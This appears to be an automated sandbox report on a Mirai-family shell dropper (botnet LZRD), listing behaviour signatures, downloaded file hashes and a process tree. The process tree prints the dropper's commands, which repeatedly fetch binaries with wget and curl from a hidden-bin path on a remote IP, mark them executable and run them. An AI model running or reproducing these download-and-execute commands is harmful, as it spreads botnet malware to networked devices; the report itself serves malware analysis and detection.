Analysis

  • max time kernel
    139s
  • max time network
    150s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20260513-en
  • resource tags

    arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    19/06/2026, 13:32

General

  • Target
    1.sh
  • Size 2KB
  • Sample260619-qs8tkags4n
  • SHA256 f252c6c435904361a76d62a1e678ad7e9ef7ffd491914c1bc0ee160f5d608c5f
  • MD5 SHA1 SHA512 TLSH

Malware Config

Extracted

Family
  • mirai

Botnet
  • LZRD

Extracted

Family
  • mirai

Botnet
  • LZRD

Extracted

Family
  • mirai

Botnet
  • LZRD

Extracted

Family
  • mirai

Botnet
  • LZRD

Extracted

Family
  • mirai

Botnet
  • LZRD

Signatures

  • Family: Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • File and Directory Permissions Modification 1 TTPs 14 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 14 IoCs
  • Modifies Watchdog functionality 1 TTPs 4 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Writes file to system bin folder 4 IoCs
  • UPX packed file 10 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Checks CPU configuration 1 TTPs 14 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 30 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/1.sh
    /tmp/1.sh
    1⤵
    • Executes dropped EXE
    • Writes file to tmp directory
    PID:641
    • /bin/cp
      cp /bin/busybox /tmp/
      2⤵
      • Reads runtime system information
      • Writes file to tmp directory
      PID:649
    • /usr/bin/wget
      wget http://64.89.163.8/hiddenbin/dtjogcysu
      2⤵
      • Writes file to tmp directory
      PID:655
    • /usr/bin/curl
      curl -O http://64.89.163.8/hiddenbin/dtjogcysu
      2⤵
      • Checks CPU configuration
      • Reads runtime system information
      • Writes file to tmp directory
      PID:670
    • /bin/cat
      cat dtjogcysu
      2⤵
        PID:691
      • /bin/chmod
        chmod +x 1.sh busybox dtjogcysu Space systemd-private-a3acf44339d3490b99c995b0459dbd52-systemd-timedated.service-BVh0Av
        2⤵
        • File and Directory Permissions Modification
        PID:694
      • /tmp/Space
        ./Space
        2⤵
          PID:695
        • /usr/bin/wget
          wget http://64.89.163.8/hiddenbin/ytaabxcxa
          2⤵
          • Writes file to tmp directory
          PID:698
        • /usr/bin/curl
          curl -O http://64.89.163.8/hiddenbin/ytaabxcxa
          2⤵
          • Checks CPU configuration
          • Reads runtime system information
          • Writes file to tmp directory
          PID:708
        • /bin/cat
          cat ytaabxcxa
          2⤵
            PID:722
          • /bin/chmod
            chmod +x 1.sh busybox dtjogcysu Space systemd-private-a3acf44339d3490b99c995b0459dbd52-systemd-timedated.service-BVh0Av ytaabxcxa
            2⤵
            • File and Directory Permissions Modification
            PID:723
          • /tmp/Space
            ./Space
            2⤵
              PID:724
            • /usr/bin/wget
              wget http://64.89.163.8/hiddenbin/rubcopfkd
              2⤵
              • Writes file to tmp directory
              PID:726
            • /usr/bin/curl
              curl -O http://64.89.163.8/hiddenbin/rubcopfkd
              2⤵
              • Checks CPU configuration
              • Writes file to tmp directory
              PID:727
            • /bin/cat
              cat rubcopfkd
              2⤵
                PID:758
              • /bin/chmod
                chmod +x 1.sh busybox dtjogcysu rubcopfkd Space systemd-private-a3acf44339d3490b99c995b0459dbd52-systemd-timedated.service-BVh0Av ytaabxcxa
                2⤵
                • File and Directory Permissions Modification
                PID:759
              • /tmp/Space
                ./Space
                2⤵
                  PID:760
                • /usr/bin/wget
                  wget http://64.89.163.8/hiddenbin/evpyuqbis
                  2⤵
                  • Writes file to tmp directory
                  PID:762
                • /usr/bin/curl
                  curl -O http://64.89.163.8/hiddenbin/evpyuqbis
                  2⤵
                  • Checks CPU configuration
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:763
                • /bin/cat
                  cat evpyuqbis
                  2⤵
                    PID:764
                  • /bin/chmod
                    chmod +x 1.sh busybox dtjogcysu evpyuqbis rubcopfkd Space systemd-private-a3acf44339d3490b99c995b0459dbd52-systemd-timedated.service-BVh0Av ytaabxcxa
                    2⤵
                    • File and Directory Permissions Modification
                    PID:765
                  • /tmp/Space
                    ./Space
                    2⤵
                      PID:766
                    • /usr/bin/wget
                      wget http://64.89.163.8/hiddenbin/uoicjoyug
                      2⤵
                      • Writes file to tmp directory
                      PID:768
                    • /usr/bin/curl
                      curl -O http://64.89.163.8/hiddenbin/uoicjoyug
                      2⤵
                      • Checks CPU configuration
                      • Writes file to tmp directory
                      PID:769
                    • /bin/cat
                      cat uoicjoyug
                      2⤵
                        PID:770
                      • /bin/chmod
                        chmod +x 1.sh busybox dtjogcysu evpyuqbis rubcopfkd Space systemd-private-a3acf44339d3490b99c995b0459dbd52-systemd-timedated.service-BVh0Av uoicjoyug ytaabxcxa
                        2⤵
                        • File and Directory Permissions Modification
                        PID:771
                      • /tmp/Space
                        ./Space
                        2⤵
                          PID:772
                        • /usr/bin/wget
                          wget http://64.89.163.8/hiddenbin/kznpkpoyh
                          2⤵
                          • Writes file to tmp directory
                          PID:774
                        • /usr/bin/curl
                          curl -O http://64.89.163.8/hiddenbin/kznpkpoyh
                          2⤵
                          • Checks CPU configuration
                          • Reads runtime system information
                          • Writes file to tmp directory
                          PID:775
                        • /bin/cat
                          cat kznpkpoyh
                          2⤵
                            PID:776
                          • /bin/chmod
                            chmod +x 1.sh busybox dtjogcysu evpyuqbis kznpkpoyh rubcopfkd Space systemd-private-a3acf44339d3490b99c995b0459dbd52-systemd-timedated.service-BVh0Av uoicjoyug ytaabxcxa
                            2⤵
                            • File and Directory Permissions Modification
                            PID:777
                          • /tmp/Space
                            ./Space
                            2⤵
                              PID:778
                            • /usr/bin/wget
                              wget http://64.89.163.8/hiddenbin/simjxtksv
                              2⤵
                              • Writes file to tmp directory
                              PID:780
                            • /usr/bin/curl
                              curl -O http://64.89.163.8/hiddenbin/simjxtksv
                              2⤵
                              • Checks CPU configuration
                              • Reads runtime system information
                              • Writes file to tmp directory
                              PID:781
                            • /bin/cat
                              cat simjxtksv
                              2⤵
                                PID:782
                              • /bin/chmod
                                chmod +x 1.sh busybox dtjogcysu evpyuqbis kznpkpoyh rubcopfkd simjxtksv Space systemd-private-a3acf44339d3490b99c995b0459dbd52-systemd-timedated.service-BVh0Av uoicjoyug ytaabxcxa
                                2⤵
                                • File and Directory Permissions Modification
                                PID:783
                              • /tmp/Space
                                ./Space
                                2⤵
                                • Modifies Watchdog functionality
                                • Writes file to system bin folder
                                • Reads runtime system information
                                PID:784
                              • /usr/bin/wget
                                wget http://64.89.163.8/hiddenbin/morormcey
                                2⤵
                                • Writes file to tmp directory
                                PID:790
                              • /usr/bin/curl
                                curl -O http://64.89.163.8/hiddenbin/morormcey
                                2⤵
                                • Checks CPU configuration
                                • Writes file to tmp directory
                                PID:791
                              • /bin/cat
                                cat morormcey
                                2⤵
                                  PID:792
                                • /bin/chmod
                                  chmod +x 1.sh busybox dtjogcysu evpyuqbis kznpkpoyh morormcey rubcopfkd simjxtksv Space systemd-private-a3acf44339d3490b99c995b0459dbd52-systemd-timedated.service-BVh0Av uoicjoyug ytaabxcxa
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:793
                                • /tmp/Space
                                  ./Space
                                  2⤵
                                    PID:794
                                  • /usr/bin/wget
                                    wget http://64.89.163.8/hiddenbin/obmsxxvnc
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:795
                                  • /usr/bin/curl
                                    curl -O http://64.89.163.8/hiddenbin/obmsxxvnc
                                    2⤵
                                    • Checks CPU configuration
                                    • Writes file to tmp directory
                                    PID:796
                                  • /bin/cat
                                    cat obmsxxvnc
                                    2⤵
                                      PID:797
                                    • /bin/chmod
                                      chmod +x 1.sh busybox dtjogcysu evpyuqbis kznpkpoyh morormcey obmsxxvnc rubcopfkd simjxtksv Space systemd-private-a3acf44339d3490b99c995b0459dbd52-systemd-timedated.service-BVh0Av uoicjoyug ytaabxcxa
                                      2⤵
                                      • File and Directory Permissions Modification
                                      PID:798
                                    • /tmp/Space
                                      ./Space
                                      2⤵
                                        PID:799
                                      • /usr/bin/wget
                                        wget http://64.89.163.8/hiddenbin/lfpxfytvz
                                        2⤵
                                        • Writes file to tmp directory
                                        PID:800
                                      • /usr/bin/curl
                                        curl -O http://64.89.163.8/hiddenbin/lfpxfytvz
                                        2⤵
                                        • Checks CPU configuration
                                        • Reads runtime system information
                                        • Writes file to tmp directory
                                        PID:801
                                      • /bin/cat
                                        cat lfpxfytvz
                                        2⤵
                                          PID:802
                                        • /bin/chmod
                                          chmod +x 1.sh busybox dtjogcysu evpyuqbis kznpkpoyh lfpxfytvz morormcey obmsxxvnc rubcopfkd simjxtksv Space systemd-private-a3acf44339d3490b99c995b0459dbd52-systemd-timedated.service-BVh0Av uoicjoyug ytaabxcxa
                                          2⤵
                                          • File and Directory Permissions Modification
                                          PID:803
                                        • /tmp/Space
                                          ./Space
                                          2⤵
                                          • Modifies Watchdog functionality
                                          • Writes file to system bin folder
                                          • Reads runtime system information
                                          PID:804
                                        • /usr/bin/wget
                                          wget http://64.89.163.8/hiddenbin/zlkbnkpmc
                                          2⤵
                                          • Writes file to tmp directory
                                          PID:812
                                        • /usr/bin/curl
                                          curl -O http://64.89.163.8/hiddenbin/zlkbnkpmc
                                          2⤵
                                          • Checks CPU configuration
                                          • Reads runtime system information
                                          • Writes file to tmp directory
                                          PID:815
                                        • /bin/cat
                                          cat zlkbnkpmc
                                          2⤵
                                            PID:816
                                          • /bin/chmod
                                            chmod +x 1.sh busybox dtjogcysu evpyuqbis kznpkpoyh lfpxfytvz morormcey obmsxxvnc rubcopfkd simjxtksv Space systemd-private-a3acf44339d3490b99c995b0459dbd52-systemd-timedated.service-BVh0Av uoicjoyug ytaabxcxa zlkbnkpmc
                                            2⤵
                                            • File and Directory Permissions Modification
                                            PID:817
                                          • /tmp/Space
                                            ./Space
                                            2⤵
                                              PID:818
                                            • /usr/bin/wget
                                              wget http://64.89.163.8/hiddenbin/lqtucsxvn
                                              2⤵
                                              • Writes file to tmp directory
                                              PID:820
                                            • /usr/bin/curl
                                              curl -O http://64.89.163.8/hiddenbin/lqtucsxvn
                                              2⤵
                                              • Checks CPU configuration
                                              • Writes file to tmp directory
                                              PID:821
                                            • /bin/cat
                                              cat lqtucsxvn
                                              2⤵
                                                PID:822
                                              • /bin/chmod
                                                chmod +x 1.sh busybox dtjogcysu evpyuqbis kznpkpoyh lfpxfytvz lqtucsxvn morormcey obmsxxvnc rubcopfkd simjxtksv Space systemd-private-a3acf44339d3490b99c995b0459dbd52-systemd-timedated.service-BVh0Av uoicjoyug ytaabxcxa zlkbnkpmc
                                                2⤵
                                                • File and Directory Permissions Modification
                                                PID:823
                                              • /tmp/Space
                                                ./Space
                                                2⤵
                                                  PID:824
                                                • /usr/bin/wget
                                                  wget http://64.89.163.8/hiddenbin/tdhyctkjq
                                                  2⤵
                                                  • Writes file to tmp directory
                                                  PID:826
                                                • /usr/bin/curl
                                                  curl -O http://64.89.163.8/hiddenbin/tdhyctkjq
                                                  2⤵
                                                  • Checks CPU configuration
                                                  • Reads runtime system information
                                                  • Writes file to tmp directory
                                                  PID:827
                                                • /bin/cat
                                                  cat tdhyctkjq
                                                  2⤵
                                                    PID:828
                                                  • /bin/chmod
                                                    chmod +x 1.sh busybox dtjogcysu evpyuqbis kznpkpoyh lfpxfytvz lqtucsxvn morormcey obmsxxvnc rubcopfkd simjxtksv Space systemd-private-a3acf44339d3490b99c995b0459dbd52-systemd-timedated.service-BVh0Av tdhyctkjq uoicjoyug ytaabxcxa zlkbnkpmc
                                                    2⤵
                                                    • File and Directory Permissions Modification
                                                    PID:829
                                                  • /tmp/Space
                                                    ./Space
                                                    2⤵
                                                      PID:830
                                                    • /usr/bin/wget
                                                      wget http://64.89.163.8/hiddenbin/nqmwdsyht
                                                      2⤵
                                                      • Writes file to tmp directory
                                                      PID:832
                                                    • /usr/bin/curl
                                                      curl -O http://64.89.163.8/hiddenbin/nqmwdsyht
                                                      2⤵
                                                      • Checks CPU configuration
                                                      • Reads runtime system information
                                                      • Writes file to tmp directory
                                                      PID:833
                                                    • /bin/cat
                                                      cat nqmwdsyht
                                                      2⤵
                                                        PID:834
                                                      • /bin/chmod
                                                        chmod +x 1.sh busybox dtjogcysu evpyuqbis kznpkpoyh lfpxfytvz lqtucsxvn morormcey nqmwdsyht obmsxxvnc rubcopfkd simjxtksv Space systemd-private-a3acf44339d3490b99c995b0459dbd52-systemd-timedated.service-BVh0Av tdhyctkjq uoicjoyug ytaabxcxa zlkbnkpmc
                                                        2⤵
                                                        • File and Directory Permissions Modification
                                                        PID:835
                                                      • /tmp/Space
                                                        ./Space
                                                        2⤵
                                                          PID:836

                                                      Network

                                                            MITRE ATT&CK Enterprise v16

                                                            Replay Monitor

                                                            Loading Replay Monitor...

                                                            Downloads

                                                            Space

                                                            • Path /tmp/Space
                                                            • Size 88KB
                                                            • SHA256 39fe485f33980b2e0f7e1efa2f130510d5103bdf72011bea7c731968c9070065
                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                            busybox

                                                            • Path /tmp/busybox
                                                            • Size 507KB
                                                            • SHA256 2dd1fbb8052a89f40c2e9af115d31346e554ee746e9c7a97d651e43e0609df88
                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                            dtjogcysu

                                                            • Path /tmp/dtjogcysu
                                                            • Size 121KB
                                                            • SHA256 a281c4b7cef17a2522238d3b39bb0850e1de4102543ea1b1db427a2d8eab69ed
                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                            evpyuqbis

                                                            • Path /tmp/evpyuqbis
                                                            • Size 36KB
                                                            • SHA256 4066f531e5d8d1135eb2e26632f3cd6bb8428eac11f8e53eb09f29b40d5b5479
                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                            kznpkpoyh

                                                            • Path /tmp/kznpkpoyh
                                                            • Size 38KB
                                                            • SHA256 9b3c5541a82693532e9c61b95ecca277f0f2de013ba0169e0d427b82c342fbc6
                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                            lfpxfytvz

                                                            • Path /tmp/lfpxfytvz
                                                            • Size 60KB
                                                            • SHA256 0caccce78945b8a93b4cf197e12a98ca888555f3a7ec983e78d7f53b6a71a67f
                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                            lqtucsxvn

                                                            • Path /tmp/lqtucsxvn
                                                            • Size 84KB
                                                            • SHA256 02f8a8622334603a9ae64f80da44331f02d08c492bbeaef9003f79639cfcf8f3
                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                            morormcey

                                                            • Path /tmp/morormcey
                                                            • Size 20KB
                                                            • SHA256 1334157d07b2ab4ed7d538a68384ece424e1f47969c5f8283281cf348e6017f0
                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                            nqmwdsyht

                                                            • Path /tmp/nqmwdsyht
                                                            • Size 73KB
                                                            • SHA256 81efca11332db2ea8282d1258dc3c9429be094fa518ff5136cacdea33ebbca78
                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                            obmsxxvnc

                                                            • Path /tmp/obmsxxvnc
                                                            • Size 39KB
                                                            • SHA256 7e8198d246c79a79596a923e686319754c9e462dedcea65316968c4a9d7de457
                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                            rubcopfkd

                                                            • Path /tmp/rubcopfkd
                                                            • Size 36KB
                                                            • SHA256 888b9df3ffb29e928d640e5c1d6079905ca9d2b7568fc23ca670b677a5d393e9
                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                            simjxtksv

                                                            • Path /tmp/simjxtksv
                                                            • Size 36KB
                                                            • SHA256 27854d042e0f7eadb9ada596099bfd5c4467fa6d1e0e3e0e27d737621c15c2c9
                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                            tdhyctkjq

                                                            • Path /tmp/tdhyctkjq
                                                            • Size 88KB
                                                            • SHA256 70a61ded8cab0b885494f48e7f6cc9ee71b4017bbd38ad355785ec4225101448
                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                            uoicjoyug

                                                            • Path /tmp/uoicjoyug
                                                            • Size 37KB
                                                            • SHA256 c313e708d64bca8bd38f40267305ffba0a0cdd0a5a03b76caaf469c673bcce97
                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                            ytaabxcxa

                                                            • Path /tmp/ytaabxcxa
                                                            • Size 35KB
                                                            • SHA256 ad4b26e1f99b7d6b87441b12d857007badc19708305b19759bebb371f2b9028a
                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                            zlkbnkpmc

                                                            • Path /tmp/zlkbnkpmc
                                                            • Size 35KB
                                                            • SHA256 b0b3576c0d41ac070cf51ef8ddb4d4619d00625afd5862cda422895815d30d50
                                                            • MD5 SHA1 SHA512 SSDEEP TLSH